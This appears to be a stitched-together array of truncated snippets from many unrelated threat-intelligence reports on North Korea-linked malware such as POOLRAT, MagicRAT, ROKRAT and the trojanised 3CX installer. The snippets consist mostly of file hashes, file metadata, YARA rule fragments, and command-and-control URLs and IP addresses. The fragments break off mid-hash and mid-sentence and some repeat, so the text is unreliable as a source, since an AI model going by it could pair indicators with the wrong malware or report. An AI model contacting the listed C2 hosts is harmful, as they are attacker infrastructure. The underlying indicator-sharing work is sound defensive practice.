59283e…","…487769a19f032e981f33023b2cb7fe10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74…","…C&C： https://tosals.ink/uEH5J.html Hash: f5e46e18facc6f8fde6658b96dcd379b82cc6ae2e676fb47f08cbeccd307b1b4 578689cb4b06c4d3f1850e4379c4b31f49170749c66b9576e1088f59fc891da2 2b2583019d83e657c219dd6510060f98ead8679e913d63c7f2ed5c52c0c2bb35 37feb1d71c6458f71b27dc1ba7cb4366ee30f9ae75b0322775fa70b8753eac27 a1f6ae…","…Size 1658880 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 f2b9d1cb2c4b1cd11a8682755bcc52fa SHA1 579884fad55207b54e4c2fe2644290211baec8b5 SHA256 a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 SHA512…","…for the Endurance wiper malware. Figure 16: Xeno-Rat VirusTotal comment (THOR APT Scanner) | Xeno-Rat Hashes | | user0.bin SHA1: | 57cb8dca59c6fd0aab69c052c93fcece4fc3d0ff | | user0 SHA1: | d8591a62916984952383b789e8ab2697f4642c63 | /upload Continued Within another folder is a Microsoft Excel spreadsheet…","…8d6cc6 3c64d557fb5d83b6df1d2963f4b3f9a3aec869c50e559d420413afcf7362120d 3debe73d29fd2c0a8eca0f701c30870af25986189790322a45a9526f1603d12b 57ce525263ce8b9bb29773dd2a8389f431bd1d0ea862b3815be6bb1a44eeb98d 5a9086a16870bde828b8f50be08bdcaa01719945aba2bbc4a50bc1f7c3caf949 6d0aa8ebc1287eb55fdca521c2c70c8e9a9f39835f8e257280898997ad6c1d76 801789…","…SHA1 0d17d477207d717f4e1be67e96c925aae473109d 1876e829b675e86e950f2e701ab9b2c4a56b4817 8edcd1d8d390d61587d334f4527e569a5bdf915c 57d60872a6239449116c9c609838906cec923ef5 2a900fbfdd65dafe6fadc4d5706e151c8b72230a Remediation Block all threat indicators at your respective controls. Search for indicators…","…SHA256_1 = \"bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1\" MD5_2 = \"6c2d15114ebdd910a336b6b147512a74\" SHA256_2 = \"58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d\" strings: $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 } $s1 = { C7 45 EC…","…Appendix E: Sample hash value 8db272ea1100996a8a0ed0da304610964dc8ca576aa114391d1be9d4c5dab02e 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d Email Author 朝長 秀誠 (Shusei…","…012d5ffe697e33d81b9e7447f4aa338b 04bb7e1a0b4f830ed7d1377a394bc717 3458daa0dffdc3fbb5c931f25d7a1ec0 51527624e7921a8157f820eb0ca78e29 582a033da897c967faade386ac30f604 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…IoC [md5] 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68 2.log acdf153ab1211ebc840a18d2ff2221fb…","…IoC md5 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68 2.log acdf153ab1211ebc840a18d2ff2221fb…","…Type Microsoft Word 2007+ MD5 6cea7290883f0527dbd3e2df64462684 SHA1 8d179113e963d81adbf8d39ceff456afac3dae16 SHA256 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e SHA512…","IOCS VSingle 586F30907C3849C363145BFDCDABE3E2E4688CBD5688FF968E984B201B474730 MagicRAT 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5…","…to operate it, we consider other possible interpretations less likely. The artifact encountered is the following: Name svchost.exe MD5 58a4d93d386736cb9843a267c7c3c10b Size 37,888 Interestingly, the backdoor is written in assembly language and was injected into an empty Visual C executable that served as…","…indicators are available in our OTX Pulse . File-Hashes 596fbdf01557c3ec89b345c57ae5d9a0b7251dd8d5a707f7353dd733274c6eb6 58a97c2c731cdf045f26ccc7cba370bd2dfee277a9c43c0421c53593e493f7bc 485f77e5d32de5dc05510743025a75af5b6f714e930e22098490b7afb71b737f e498630abe9a91485ba42698a35c2a0d8e13fe5cccde65479bf3033c45e7d431…","…February 2025 http://wersdfxcv.mygamesonline.org/view.php URL C2 February 2025 58adb6b87a3873f20d56a10ccde457469adb5203f3108786c3631e0da555b917 SHA256 Malware delivery February 2025…","…Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 451c23709ecd5a8461ad060f6346930c SHA1 58b0516d28bd7218b1908fb266b8fe7582e22a5f SHA256 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 SHA512…","…between a Windows and a Linux variant of BADCALL (a list of domains used as a front for a fake TLS connection) prtspool (SHA-1: 58B0516D28BD7218B1908FB266B8FE7582E22A5F ), which shows code similarities to sysnetd (see Figure 5).…","…Name inject_api Size 19328 bytes Type 64-bit XCOFF executable or object module MD5 58bb2236e5aee39760d3e4fc6ee94a79 SHA1 a74dd2f9723dfb74d0d7b15294622b6ccc0b9562 SHA256 f3e521996c85c0cdb2bfb3a0fd91eb03e25ba6feef2ba3a1da844f1b17278dd2 SHA512…","…Size 128512 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 912f87392a889070dbb1097a82ccd93f SHA1 58c5b86691dc922945c8204b465e76fc15c498fb SHA256 e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292 SHA512…","…79bd94 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e29 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b 58dc45c15d17c609f5237abf9a6d0a896a310bfd3406e72413b2929c781d6979 59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e 59283e60015923ab16f51dcb29350158f8f86e6d86dcaf8377468bb20bea3570 5bfa03…","…3fd533 6f9b79c20330a7c8ade8285866e5602bb86b50a817205ee3c8a466101193386d f5873ecd60390e7b86db5ddaf158ed201b386be26ad80af8a7da3576446520b8 58f2972c6a8fc743543f7b8c4df085c5cf2c6e674e5601e85eec60cd269cfb3c SHA1…","…44e492d5b9c48c1df7ef5e0fe9a732f271234219d8377cf909a431a386759555 4599a9421e83fb0e2c005e5d9ac171305192beabe965f3385accaf2647be3e8e 58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6 97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04…","…Impact T1529 System Shutdown/Reboot IOCs: MD5 File Name 1aec7b1227060a987d5cb6f17782e76e aio02.dat 591b2aaf1732c8a656b5c602875cbdd9 aio03.bat d035135e190fb6121faa7630e4a45eed aio01.dat cc1522fb2121cf4ae57278921a5965da *.Zip 2dc20d55d248e8a99afbe5edaae5d2fc…","…cd0e29 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b 58dc45c15d17c609f5237abf9a6d0a896a310bfd3406e72413b2929c781d6979 59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e 59283e60015923ab16f51dcb29350158f8f86e6d86dcaf8377468bb20bea3570 5bfa034f7555a38e64c078af71b4ff8c49511579fa826a87661940b7e9a6e333 5f05c1…","…6be50b 58dc45c15d17c609f5237abf9a6d0a896a310bfd3406e72413b2929c781d6979 59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e 59283e60015923ab16f51dcb29350158f8f86e6d86dcaf8377468bb20bea3570 5bfa034f7555a38e64c078af71b4ff8c49511579fa826a87661940b7e9a6e333 5f05c1dffda819f082a1df8cc81faa77d3d69ba4b1d0a2092c2d5b66234f2d7e 5f2ac8…","…Hash-SHA256 4186675cb6706f9d51167fb0f14cd3f8fcfb0065093f62b10a15f7d9a6c8d982 Hash-SHA256 593bbcc8f34047da9960b8456094c0eaf69caaf16f1626b813484207df8bd8af Hash-SHA256 5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec Hash-SHA256…","…of computers in the process of covering their tracks. Appendix Additional indicators are available in our OTX Pulse . File-Hashes 596fbdf01557c3ec89b345c57ae5d9a0b7251dd8d5a707f7353dd733274c6eb6 58a97c2c731cdf045f26ccc7cba370bd2dfee277a9c43c0421c53593e493f7bc…","…1352abf9de97a0faf8645547211c3be7 1c1136c12d0535f4b90e32aa36070682 3277e0232ed6715f2bae526686232e06 3c475d80f5f6272234da821cc418a6f7 59804449f5670b4b9b3b13efdb296abb URL http://172.93.181.249/control/data/ http://172.93.181.249/control/html/1.html http://172.93.181.249/file/ AhnLab…","…1352abf9de97a0faf8645547211c3be7 1c1136c12d0535f4b90e32aa36070682 3277e0232ed6715f2bae526686232e06 3c475d80f5f6272234da821cc418a6f7 59804449f5670b4b9b3b13efdb296abb URL http://172.93.181.249/control/data/ http://172.93.181.249/control/html/1.html http://172.93.181.249/file/ To learn…","…1d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e5567741c95a966cd1508c6d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796890affadb3d3861d22a61bfdbbdd dd6bbd76378fce03e2b72c904832e576d4576354…","…4a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5bec2687fd743d23331cd54c987b44de URL…","…All customers remain protected. Indicators of Compromise SHA256 Description 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3CXDesktopApp-18.12.416.msi Installer aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 3CXDesktopApp-18.12.407.msi…","…0eeb1c0133eb4d571178b2d9d14ce3e9 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3703770e32820397c6e7e1e1221e6d0d 5d833bcc679db38a45111269e727ec58b75c8d31…","…File Type Windows Installer MD5 0eeb1c0133eb4d571178b2d9d14ce3e9 SHA1 bfecb8ce89a312d2ef4afc64a63847ae11c6f69e SHA256 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 The installer contains a malicious version of ffmpeg.dll , an open-source video player library: Name(s) ffmpeg.dll Size…","…In two variants analyzed by Symantec (SHA256: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 and 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983), the clean executable was used to load a malicious DLL named ffmpeg.dll (SHA256:…","…침해 지표 (Indicator of Compromise) MD5 2f6fe22be1ed2a6ba42689747c9e18a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07…","…d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b3760…","…PuTTY plink 2AA1BBBE47F04627A8EA4E8718AD21F0D50ADF6A32BA4E6133EE46CE2CD13780 5A73FDD0C4D0DEEA80FA13121503B477597761D82CF2CFB0E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94…","…Basic Script) c155f49f0a9042d6df68fb593968e110 계정기능 제한 안내.hwp (Notice of limitation of account.hwp) 5a7ef48fe0e8ae65733db64ddb7f2478 (Windows executable) The Visual Basic Script created by the first HWP file (MD5 f17502d3e12615b0fa8868472a4eabfb ) has similar…","…server: (from decoded powershell script) 222.122.86.177 PE file : hanwordupdate (2).exe hashes: MD5 5a7ef48fe0e8ae65733db64ddb7f2478 SHA-1 b0ca169c6a64336e48fe8d5c0e8376212b72784c SHA-256 304d569374625857323cae7ce6a1a4bb56b32a3a0d5fdb7d4a9e7392c3f56fb3 DNS…","…http://91.121.65.179 Port:9001 Hashes https://gist.github.com/Blevene/42bed05ecb51c1ca0edf846c0153974a Hash-MD5 5a89aac6c8259abbba2fa2ad3fcefc6e Hash-MD5 05da32043b1e3a147de634c550f1954d Hash-MD5 8e97637474ab77441ae5add3f3325753 Hash-MD5…","…name: 가상자산사업자 검사계획민당정회의 발표자료_FN2.hwp.lnk (Korean file name) - MD5: e37c8f6aba686aab3d7ecedbd1d0ef43 - SHA256: 5a8ecafbd5809000334bf5b940a497d0ed750dd11da8a03796f5ce53257cc892 Upon execution, this malicious LNK file leverages PowerShell commands to drop and execute a decoy document along with additional files…","…62120d 3debe73d29fd2c0a8eca0f701c30870af25986189790322a45a9526f1603d12b 57ce525263ce8b9bb29773dd2a8389f431bd1d0ea862b3815be6bb1a44eeb98d 5a9086a16870bde828b8f50be08bdcaa01719945aba2bbc4a50bc1f7c3caf949 6d0aa8ebc1287eb55fdca521c2c70c8e9a9f39835f8e257280898997ad6c1d76 801789ec161b7749c8d9f59049754e09e8b324de36c6fc0b634d61814baf43b1 81554a…","…SHA-256 d9e3eba6067eec0aa32214b2a9811f4b579b66b34fe4e5bff4d754102dffdb91 5aacff1d13e872d1707c6d86646c886194cebac0eb28b8cf8389b333a7ff5600 SHA1 c8bb4f1ebeafd00cc6b73e2cf265c18fd8660df7 2500050253ecc95279b319bc469031d270ae5a66 Remediation Block all threat indicators…","…IoC (Indicator of Compromise) MD5 5ab26df9c161a6c5f0497fde381d7fca 8f82226b2f24d470c02f6664f67f23f7 09b91626507a62121a4bdb08debb3ed9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 04…","…Hash-SHA256 593bbcc8f34047da9960b8456094c0eaf69caaf16f1626b813484207df8bd8af Hash-SHA256 5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec Hash-SHA256 7c465ea7bcccf4f94147add808f24629644be11c0ba4823f16e8c19e0090f0ff Hash-SHA256…","…49bdbe7e6cbb88842afcce3a9fe60e9b 4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a 73ff669fc282653bd6c42cf87ade9337…","…protocol. Name(s) E57D8443104825AB22743C78B8F3AA Size 116224 Bytes MD5 76111d9780b2d0b5adee61cf752d937e SHA1 5b03294b72c0caa5fb20e7817002c600645eb475 SHA256 9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78 All strings and API calls are obfuscated using a custom…","…date = \"2023-03-31\" hash = \"3B88CDA62CDD918B62EF5AA8C5A73A46F176D18B\" hash = \"CAD1120D91B812ACAFEF7175F949DD1B09C6C21A\" hash = \"5B03294B72C0CAA5FB20E7817002C600645EB475\" hash = \"7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC\" condition: pe.rich_signature.toolid(259, 30818) == 9 and…","…associated with ROKRAT and similar sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise MD5 5b44285747891464c496aa477e450f10 a205d5bdfcd237462abaf6b9d3576c4a ed691e1e20160346094c08d2cebf0f32 SHA-256…","…Apart from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a).…","…3a4f1e efc139dc0e280a374065dc59c55a45b5146f091a85a3abd6f0caf1a9a2f8b060 d1baefd0bdc7f3b0369c5b7126c3b98469a518cf4db788fad1d243d8661a17b9 5bd48c2f61541124920d71e674ce3fd5927702f69c2baacc5a509debe3a893c8 9aab5a536b95963c4e3c990ab40bdeb25c850e2a862ea528b81d470d6acdadb1 Email…","…18 b99c1d9bf70be5172a8b36b098c67ee5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a87659641e00d724de5662b14fe142e8 1808bd4919c5943096a4a19784d6b8de…","…Malware infections. MD5 17d97e3ee3185d82812a4014444c36f3 327617e977eefd15708568f43140e595 3d802ceaf891ea57ecd7d1d786d96a0d 5be7578bfe633fb268ad97a520abb4e1 78c219a6bec5fc30f43b62e4934646eb URL…","…6c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5bec2687fd743d23331cd54c987b44de URL…","…Hash-MD5 f9992dfb56a9c6c20eb727e6a26b0172 Hash-MD5 46d140a0eb13582852b5f778bb20cf0e Hash-MD5 5bef35496fcbdbe841c82f4d1ab8b7c2 Hash-MD5 3c6375f586a49fc12a4de9328174f0c1 Hash-MD5 246c2781b88f58bc6b0da24ec71dd028 Hash-MD5…","…1d6979 59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e 59283e60015923ab16f51dcb29350158f8f86e6d86dcaf8377468bb20bea3570 5bfa034f7555a38e64c078af71b4ff8c49511579fa826a87661940b7e9a6e333 5f05c1dffda819f082a1df8cc81faa77d3d69ba4b1d0a2092c2d5b66234f2d7e 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141 623458…","…(2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…Size 4247040 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5c0a4f9e67ced69eaea17092444b2c1a SHA1 8462cb955a6c459036a3e27d59b1b8b6cc9acfd5 SHA256 9ddacbcd0700dc4b9babcd09ac1cebe23a0035099cb612e6c85ff4dffd087a26 SHA512…","…instead of naver.com. 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 Tags backdoortrojan Details Name 5C0C1B4C3B1CFD455AC05ACE994AED4B Size 348160 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 5c0c1b4c3b1cfd455ac05ace994aed4b SHA1…","…SHA256 9362425ae690b5bf74782eafe959195f25ac8bad370794efd4a08048141efb32 Payload SHA256 5c206b4dc2d3a25205176da9a1129c9f814c030a7bac245e3aaf7dd5d3ca4fbe Payload SHA256 1690ce43530acf725f33aa30f715855d226d63276557d0e33fbcaf9b5ff9b84c Payload…","…the following four artifacts. 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 Tags trojan Details Name 5C3898AC7670DA30CF0B22075F3E8ED6 Size 221184 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5c3898ac7670da30cf0b22075f3e8ed6 SHA1…","…Filename history SHA1 9b86888a83dd0dd1c3a0929f1ea53b82 MD5 558ce5e8c0b1b0a76b88db087f0c92f7a62716fe SHA256 5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 Notes Shellcode with embedded PE.…","…4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a 73ff669fc282653bd6c42cf87ade9337 7f12fa589f56f6203c692715b3958d30…","…Information Theft and Espionage Indicators of Compromise IP 64.227.161.158 MD5 2eebb492567f5d4727c2812a151ead68 5c88f02ebe01437130b82c4d5e87504f SHA-256…","…The Linux Variants of POOLRAT The newly discovered Linux variants of POOLRAT (SHA256: 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456 , SHA256: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703 ) exhibit several notable similarities to its macOS counterpart…","…88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 URLs: www.talesseries.com/write.php rgedist.com/sfxl.php…","…492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD 5009C7D1590C1F8C05827122172583DDF924C53B55A46826ABF66DA46725505A 5C907B722C53A5BE256DC5F96B755BC9E0B032CC30973A52D984D4174BACE456 5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1BB5D80D66AE53B1DF8 60666CACDD6806ED05771F32EAA719E3EFD2F4DB55F28A447D383C3EAC1DC72E…","…38.146.28.177 gitlab.tresalabs.com Malware Files: Filename MD5 SHA-256 cdrivMac.sh 5c9af548cb39a3a2b4f7a91aad0cdccc cd68b8c00708844fefaff84f23f97a67bedbee814888d172a530752d3d8a2cae CDrivers.zip df994bd9153914e66ceee3f8bcb93527…","…Intel 80386, for MS Windows MD5 a2b1a45a242cee03fab0bedb2e460587 SHA1 e9c9ef312370d995d303e8fc60de4e4765436f58 SHA256 5cb7a352535b447609849e20aec18c84d8b58e377d9c6365eafb45cdb7ef949b SHA512…","…C2 : http://congre.co.kr/_Ext/adodb5/perf/com1/download1/down.php himTray.dll md5 : 5cc715e6a91385c5c092ff79c73592aa sha1 : 64c9e04e9dd12796e76436364967ba85f2527a33 sha256 : a9c028a68deb18d900701a92bfd432acfee275c8b66cd196402c41ab0621fe39 Additional…","…video conferencing installation package. File Name FCCCall.msi MD5 8ebca0b7ef7dbfc14da3ee39f478e880 SHA1 5cce14436b3ae5315feec2e12ce6121186f597b3 SHA256 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 File Type MSI File Size 152.37 MB Description…","…SHA-1 of signed samples 3D311117D09F4A6AD300E471C2FB2B3C63344B1D 3ABFEC6FC3445759730789D4322B0BE73DC695C7 SHA-1 of samples 5CE3CDFB61F3097E5974F5A07CF0BD2186585776 FAC3FB1C20F2A56887BDBA892E470700C76C81BA AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C…","…of the following CROWDEDFLOUNDER samples was first released in October 2018 as part of the FASTCash campaign. MD5 hash: 5cfa1c2cb430bec721063e3e2d144feb MD5 hash: 4f67f3e4a7509af1b2b1c6180a03b3e4 The BeagleBoyz have used CROWDEDFLOUNDER as a remote access trojan (RAT) since at least 2018.…","…Name 5cfa1c2cb430bec721063e3e2d144feb Size 1643616 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 5cfa1c2cb430bec721063e3e2d144feb SHA1…","…// stager_nix.sh SHA256:f63c498b9c42612447fdb757a59aa9a1bb2285e77f83af8224577f9478fd8f2d // stager_win.ps1 SHA256:5d036408ac731df4f2909385ca5c3a75766ab528bcd784668a4997cfa2acd947 // vscode-bootstrap.ps1 SHA256:9cb437ca697a7550163c4a66e8b766952d3ddf94f714bafac91132ad37e5ddfa //…","…Name Injection_API_log_generating_script Size 2337 bytes Type ASCII text MD5 844eec0ff86c10f5f9b41648b066563b SHA1 5d0fd2c5f58dcbc51e210894e8698bc14ccd30e2 SHA256 e03dc5f1447f243cf1f305c58d95000ef4e7dbcc5c4e91154daa5acd83fea9a8 SHA512…","…The wiper modules used in OlympicDestroyer (MD5: 3c0d740347b0362331c882c2dee96dbf) and Bluenoroff (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe) used similar code to wipe files. Fig.12 Comparison of wiping module (left: Bluenoroff tool; right: OlympicDestroyer) There is also a…","…328ff45e4 35ddb63c0729a7e3019c026865ea195607a51943d8867607a26c006f0df6e594 06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a 5d25e53b59bd2dcf234c6819f8cd294efe6d943d04625b9d575002362794e74a 6263530f1bde08b13872252fa1e90efc0ac5c8d433db6931316c8eb7322d23c4 30584f13c0a9d0c86562c803de350432d5a0607a06b24481ad4d92cdf7288213 →…","…File Name SHA256 (Dynamic/Custom implants) food.bat 07b10c5a772f6f3136eb58a7034bcb5ce71c0c740aaa528d3bae318d939b2242 seed.bat 5d28072d76bd6af944fcec8045cbc24410a58fe70eef6f83c50934245ec92e60 wpcsvc.dat b9727fb553894d857900c0a18f82723659d136329ef56bbe9388905a666f1197 wpcsvc.dll…","…Tags: trojan peexe Name: win32.bin Size: 2.10 MB (2198684 bytes) MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d SHA-1: d5ff73c043f3bb75dd749636307500b60a436550 SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 ssdeep:…","…59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3703770e32820397c6e7e1e1221e6d0d 5d833bcc679db38a45111269e727ec58b75c8d31 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 2fdf61fdfd649f8bbf5730307a0ab5d1…","…Filename 전례 없는 강공 도발 설문지 .doc MD5 44b3f46a370faf94cc51386b4ccaab83 SHA1 5de4215ba91bd52ae7371a049c23c8239302f3a5 SHA256 c49b4d370ad0dcd1e28ee8f525ac8e3c12a34cfcf62ebb733ec74cca59b29f82 Filename 인권…","…094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ AhnLab TIP…","…094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL https://206.72.205.117/ https://209.127.19.223/ https://45.58.159.237/ https://kmobile.bestunif.com/ Gain access…","…Type Hash SHA256 48109c33cf45749a7fdc2629a4c11d9afc59e5378a4a368e08b20f9dbfca7963 MD5 b81d8031450264845cdf79851b6a4807 SHA1 5dfa031ccd4cb45f5338eeaad6416a54b15bf0f8 Network -- C2 IPs IP ASN First Seen Last Seen Status 217.69.0.159 AS20473 (Vultr) 2026-03-13 2026-03-15 Active (kill-switch)…","…2 MD5 8b541e4da55cb41e3304bda5ea568eb7 20250114_27263.docx.lnk 3 MD5 5e040663bbe55915a67f696a6aafb81a 20250206_68013.docx.lnk 4 MD5 f792d1864e7e92fe25daa73fe964bdea p.ps1 (...388165727.eml.lnk) 5…","…MD5 e9a54529a55bada06fdf95e0b7de77cd SHA-256 7689f8c2bfff6262a5885f3e5afc5442dc8a60bfa463da821e348b095d45e362 SHA1 5e05839ce67f982e292150e91de22c906bac7f70 URL http://72.14.155.62/dash/index.php?ati=Kur-55502ecd073cb632_55502ecd073cb632 Remediation Block all threat indicators at your…","…6471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce91f3c3d99c733d9628ed952dbf2a 5e38363e7c196a3627dc10a8292bb72473599c2e URL https://filedn.com/lY24cv0IfefboNEIN0I9gqR Remediation Block all threat indicators at your respective controls. Search for…","…this RAT as the Linux variant of POOLRAT. What Is POOLRAT? In a 2021 report , CISA identified a macOS RAT dubbed prtspool (SHA256: 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 ), used as the final payload in one of the AppleJeus (CoinGoTrade) attack waves.…","…f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 URLs: www.talesseries.com/write.php rgedist.com/sfxl.php 